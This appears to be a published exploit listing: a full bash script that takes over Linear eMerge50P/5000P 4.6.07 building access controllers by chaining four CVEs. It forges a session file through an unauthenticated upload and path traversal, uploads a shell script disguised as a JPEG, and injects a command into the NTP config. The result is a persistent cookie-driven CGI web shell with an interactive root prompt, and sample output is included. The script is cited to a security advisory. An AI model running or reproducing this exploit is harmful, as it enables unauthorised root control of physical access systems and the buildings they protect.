Linear eMerge50P/5000P 4.6.07 Remote Code Execution

Linear eMerge50P/5000P 4.6.07 remote code execution exploit.


MD5 | 2789c6b2f40bbe8a15601a4c42957f1d

#!/bin/bash
#
# Full remote code execution exploit for the Linear eMerge50P/5000P 4.6.07
# Including escalating to root privileges
# CVE: CVE-2019-7266, CVE-2019-7267, CVE-2019-7268, CVE-2019-7269
# Advisory: https://applied-risk.com/resources/ar-2019-006
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
#
# This script is tested on macOS 10.13.6
# by Sipke Mellema
#
# usage: ./sploit.sh http://target
#
##########################################################################
#
# $ ./sploit.sh http://192.168.1.1
#
#
# . . . . .
# . . . . .
# | |Linear eMerge50 4.6.07| |
# | | | |
# | |Remote code executionz| |
# | | With priv escalation | |
# | | Get yours today | |
# | | | | |
# | | Boomch | |
# . . . . .
# . . . . .
#
#
#
# [*] Checking connection to the target..
# [V] We can connect to the server
# [*] Checking if already infected..
# [V] Target not yet infected..
# [*] Creating custom session file..
# [*] Uploading custom session file..
# [V] Session file active!
# [*] Retrieving CSRF token..
# [V] CSRF_TOKEN: AI1R5ebMTZXL8Vu6RyhcTuavuaEbZvy9
# [*] Uploading file..
# [V] File successfully uploaded
# [*] Writing new config..
# [V] Wrote new config, restarting device
# [*] Looks good! Waiting for device to reboot..
# [V] Executing: whoami..
# [V] Username found: root
# [*] Cleaning up uploaded files..
# [*] Removing fake backup file..
# [*] Removing shell script..
# [*] Files removed
#
# [*] If that worked, you can how execute commands via your cookie
# [*] The URL is: http://192.168.1.1/cgi-bin/websrunnings.cgi
# [*] Or type commands below ('quit' to quit)
#
# [email protected]://192.168.1.1$ id
# uid=0(root) gid=0(root) groups=0(root)
# [email protected]://192.168.1.1$ quit
#
##########################################################################

RED='\033[0;31m'; BLUE='\033[0;34m'; GREEN='\033[0;32m'; NC='\033[0m'
BANNER="
\t . . . . .
\t . . . . .
\t| |${BLUE}Linear eMerge50 4.6.07${RED}| |
\t| |${BLUE} ${RED}| |
\t| |${BLUE}Remote code executionz${RED}| |
\t| |${BLUE} With priv escalation ${RED}| |
\t| |${BLUE} Get yours today ${RED}| |
\t| |${BLUE} | ${RED}| |
\t| |${BLUE} Boomch ${RED}| |
\t . . . . .
\t . . . . .
${NC}
"
printf "\n${RED}${BANNER}\n\n"

function echo_green {
printf "${GREEN}[*] [email protected]${NC}\n"
}
function echo_blue {
printf "${BLUE}[V] [email protected]${NC}\n"
}
function echo_red {
printf "${RED}[-] [email protected]${NC}\n"
}

function show_usage {
echo -en "Usage: ./sploit.sh
"
}


# check arguments
if [ $# -eq 0 ]
then
echo_red "Incorrect parameters"
show_usage
exit
fi


# Define global paramters
VULN_HOST=$1
TEST_CMD="whoami"

# ========================= Vuln 2: Session ID allows path traversal
# Path traversal to session file injected as backup file
SESSION_ID="../web/upload/system/backup.upg"


function run_remote_shell {
# shell is in the context of the lower privileged user called s2user
# but the user has sudo rights
# ========================= Vuln 5: Webserver runs as root
TEST_CMD=''
while read -p "${SPLOT_USERNAME}@${VULN_HOST}$ " TEST_CMD && [ "${TEST_CMD}" != "quit" ] ; do
curl -s -k -H "Cookie: sudo $TEST_CMD" ${VULN_HOST}/cgi-bin/websrunnings.cgi
echo ""
done
}

# ========================= Pre-exploit checks

# check connection
echo_green "Checking connection to the target.."
RESULT=`curl -sL -w "%{http_code}\\n" ${VULN_HOST} -o /dev/null --connect-timeout 3 --max-time 5`
if [ "$RESULT" != "200" ] ;
then
echo_red "Could not connect to ${VULN_HOST} :(" ;
exit
fi
echo_blue "We can connect to the server"

# check already infected
echo_green "Checking if already infected.."
RESULT=`curl -sL -w "%{http_code}\\n" ${VULN_HOST}/cgi-bin/websrunnings.cgi -o /dev/null --connect-timeout 3 --max-time 5`
if [ "$RESULT" == "200" ] ; then
echo_blue "Target already seems to be infected"
SPLOT_USERNAME=`curl -s -k -H "Cookie: sudo whoami" ${VULN_HOST}/cgi-bin/websrunnings.cgi`
echo_blue "Username found: ${SPLOT_USERNAME}"
read -p "Try shell directly? (Y/N)" TEST
if [ "$TEST" == "Y" ] ; then
echo_green "Trying direct shell.."
run_remote_shell
exit
fi
else
echo_blue "Target not yet infected.." ;
fi



# ========================= Vuln 1: Sys update CGI script allows unauthenticated upg-file upload
# Used to create file with the contents of a valid session file
# Session file required a timestamp from < 3600 seconds ago
# And a valid (remote) IP address

echo_green "Creating custom session file.."
# binary session file
SESS_FILE_BIN_PRE="MzEzMzc4MDA4NQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABTeXN0ZW0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEFkbWluaXN0cmF0b3IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYWRtaW4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="
SESS_FILE_BIN_POST="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAAAAEAAAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQUkxUjVlYk1UWlhMOFZ1NlJ5aGNUdWF2dWFFYlp2eTkAAAAAYtPxW0o/71s="
# write session/backup file
printf $SESS_FILE_BIN_PRE | base64 -D > backup.upg
# write IP
MY_IP=`curl -s https://api.ipify.org`
printf ${MY_IP} >> backup.upg
printf $SESS_FILE_BIN_POST | base64 -D >> backup.upg
# replace timestamp
python -c "import struct,time,sys; sys.stdout.write(struct.pack('<i',int(time.time()+(3600*5))))" | dd of=backup.upg bs=1 seek=1080 count=4 conv=notrunc 2> /dev/null
# upload session as backup file
echo_green "Uploading custom session file.."
curl -s -F [email protected] ${VULN_HOST}/cgi-bin/uplsysupdate.cgi

# check if session file works
RESULT=`curl -s -w "%{http_code}\\n" --cookie ".sessionId=$SESSION_ID" ${VULN_HOST}/goform/foo -o /dev/null --connect-timeout 3 --max-time 5`
if [ "$RESULT" != "200" ] ; then
echo_red "Creating session file didn't seem to work :(" ;
exit
fi
echo_blue "Session file active!"



# ========================= Vuln 3: Image upload allows any file contents
# We use it to upload a shell script
# It will be run as root on startup

# get csrf token
echo_green "Retrieving CSRF token.."
CSRF_TOKEN=`curl -s --cookie ".sessionId=$SESSION_ID" ${VULN_HOST}/frameset/ | grep -E -o 'csrft = "(.*)"' | awk -F '"' '{print $2}'`
echo_blue "CSRF_TOKEN: $CSRF_TOKEN"

if [ -z "$CSRF_TOKEN" ]; then
echo_red "Could not get CSRF token :("
exit
fi

# prepare file
# this will run as root
echo "cp /usr/local/s2/web/cgi-bin/websrunning.cgi /usr/local/s2/web/cgi-bin/websrunnings.cgi" > shell.jpg
echo 'sed -i '"'"'s/echo "OK"/A=\`\$HTTP_COOKIE\`;printf "\$A"/'"'"' /usr/local/s2/web/cgi-bin/websrunnings.cgi' >> shell.jpg

# upload file
echo_green "Uploading file.."
RESULT=`curl -s --cookie ".sessionId=$SESSION_ID" \
-F "csrft=$CSRF_TOKEN" \
-F "person=31337" \
-F "[email protected]" \
${VULN_HOST}/person/upload/ | grep -o "File successfully uploaded"`
echo_blue $RESULT

if [[ ! "$RESULT" =~ "successfully" ]]; then
echo_red "Could not upload file :("
exit
fi



# ========================= Vuln 4: Config allows command injection
# Length is limited
# Also, no spaces allowed

# change config
# the file in the config file will be run as root at startup
echo_green "Writing new config.."
curl -s ${VULN_HOST}/goform/saveS2ConfVals --cookie ".sessionId=$SESSION_ID" --data "timeserver1=a.a%24%28bash%3C%2Fusr%2Flocal%2Fs2%2Fweb%2Fupload%2Fpics%2Fshell.jpg%29&timeserver2=&timeserver3=&timezone=America%2FChicago&save=Save&urlOk=cfgntp.asp&urlError=cfgntp.asp&okpage=cfgntp.asp" > /dev/null
echo_blue "Wrote new config, restarting device"

# restart device
RESULT=`curl -s --cookie ".sessionId=$SESSION_ID" ${VULN_HOST}/goform/restarts2Conf --data "changeNetwork=1" | grep -o "The proxy server could not handle the request"`
# this is supposed to get returned (device rebooting)
if [[ "$RESULT" =~ "could not handle the request" ]]; then
echo_green "Looks good! Waiting for device to reboot.."
sleep 20
echo_blue "Executing: whoami.."
SPLOT_USERNAME=`curl -s -k -H "Cookie: sudo whoami" ${VULN_HOST}/cgi-bin/websrunnings.cgi`
echo_blue "Username found: ${SPLOT_USERNAME}"

# cleanup
echo_green "Cleaning up uploaded files.."
echo_green "Removing fake backup file.."
RESULT=`curl -s -k -H "Cookie: sudo rm /usr/local/s2/web/upload/system/backup.upg" ${VULN_HOST}/cgi-bin/websrunnings.cgi`
echo_green "Removing shell script.."
RESULT=`curl -s -k -H "Cookie: sudo rm /usr/local/s2/web/upload/pics/shell.jpg" ${VULN_HOST}/cgi-bin/websrunnings.cgi`
echo_green "Files removed"

# start shell
echo ""
echo_green "If that worked, you can now execute commands via your cookie"
echo_green "The URL is: ${VULN_HOST}/cgi-bin/websrunnings.cgi"
echo_green "Or type commands below ('quit' to quit)"
echo ""

run_remote_shell

else
echo_red "Exploit failed :("
fi

exit

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